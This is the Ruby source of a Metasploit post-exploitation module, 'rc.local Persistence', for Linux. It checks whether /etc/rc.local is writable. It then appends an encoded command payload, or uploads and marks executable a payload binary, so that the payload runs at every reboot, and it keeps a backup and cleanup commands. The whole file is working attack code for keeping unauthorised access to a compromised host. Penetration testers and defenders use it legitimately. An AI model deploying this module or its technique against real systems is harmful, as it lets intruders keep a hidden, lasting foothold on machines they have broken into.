1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::Unix
11
  include Msf::Exploit::EXE # for generate_payload_exe
12
  include Msf::Exploit::Local::Persistence
13
  include Msf::Auxiliary::Report
14
  prepend Msf::Exploit::Remote::AutoCheck
15
  include Msf::Exploit::Deprecated
16
  moved_from 'exploits/linux/local/rc_local_persistence'
17

18
  def initialize(info = {})
19
    super(
20
      update_info(
21
        info,
22
        'Name' => 'rc.local Persistence',
23
        'Description' => %q{
24
          This module will edit /etc/rc.local in order to persist a payload.
25
          The payload will be executed on the next reboot.
26
          Verified on Ubuntu 18.04.3
27
        },
28
        'License' => MSF_LICENSE,
29
        'Author' => [ 'Eliott Teissonniere' ],
30
        'Platform' => [ 'unix', 'linux' ],
31
        'Arch' => [
32
          ARCH_CMD,
33
          ARCH_X86,
34
          ARCH_X64,
35
          ARCH_ARMLE,
36
          ARCH_AARCH64,
37
          ARCH_PPC,
38
          ARCH_MIPSLE,
39
          ARCH_MIPSBE
40
        ],
41
        'Payload' => {
42
          'BadChars' => '#%\n"'
43
        },
44
        'References' => [
45
          ['ATT&CK', Mitre::Attack::Technique::T1037_004_RC_SCRIPTS]
46
        ],
47
        'SessionTypes' => [ 'shell', 'meterpreter' ],
48
        'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.
49
        'Targets' => [ ['Automatic', {}] ],
50
        'Privileged' => true,
51
        'Notes' => {
52
          'Stability' => [CRASH_SAFE],
53
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
54
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
55
        },
56
        'DefaultTarget' => 0
57
      )
58
    )
59
    register_options([
60
      OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
61
    ])
62
  end
63

64
  def check
65
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
66
    # a few notes for those who like to read source code. On Ubuntu 18.04.3, when no
67
    # /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).
68
    # When /etc/rc.local exists, systemctl status rc.local shows active (exited).
69
    # so checking the service status isn't necessarily helpful.
70
    if exists?('/etc/rc.local')
71
      return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local')
72
    else
73
      return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/')
74
    end
75

76
    CheckCode::Appears('/etc/rc.local is writable')
77
  end
78

79
  def install_persistence
80
    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
81
    rc_path = '/etc/rc.local'
82

83
    print_status "Reading #{rc_path}"
84

85
    # read /etc/rc.local, but remove `exit 0`
86
    rc_local = '#!/bin/sh'
87
    if exists? rc_path
88
      rc_local = read_file(rc_path).gsub(/^exit.*$/, '')
89
      backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup')
90
      print_status("Created /etc/rc.local backup: #{backup_profile_path}")
91
      @clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n"
92
    else
93
      @clean_up_rc << "rm #{rc_path}\n"
94
    end
95

96
    if payload.arch.first == 'cmd'
97
      # add payload and put back `exit 0`
98
      pload = payload.encoded
99
      pload = "#{pload} &" unless pload.end_with?('&')
100
      rc_local << "\n#{pload}\nexit 0\n"
101
      print_status "Patching #{rc_path}"
102
    else
103
      payload_path = writable_dir
104
      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
105
      payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
106
      payload_path << payload_name
107
      print_status("Uploading payload file to #{payload_path}")
108
      upload_and_chmodx payload_path, generate_payload_exe
109
      rc_local << "\n#{payload_path} &\nexit 0\n"
110
      @clean_up_rc << "rm #{payload_path}\n"
111
    end
112

113
    # write new file
114
    write_file(rc_path, rc_local)
115
    chmod(rc_path, 0o755)
116

117
    print_good('Payload will be triggered at next reboot')
118
  end
119
end
120

121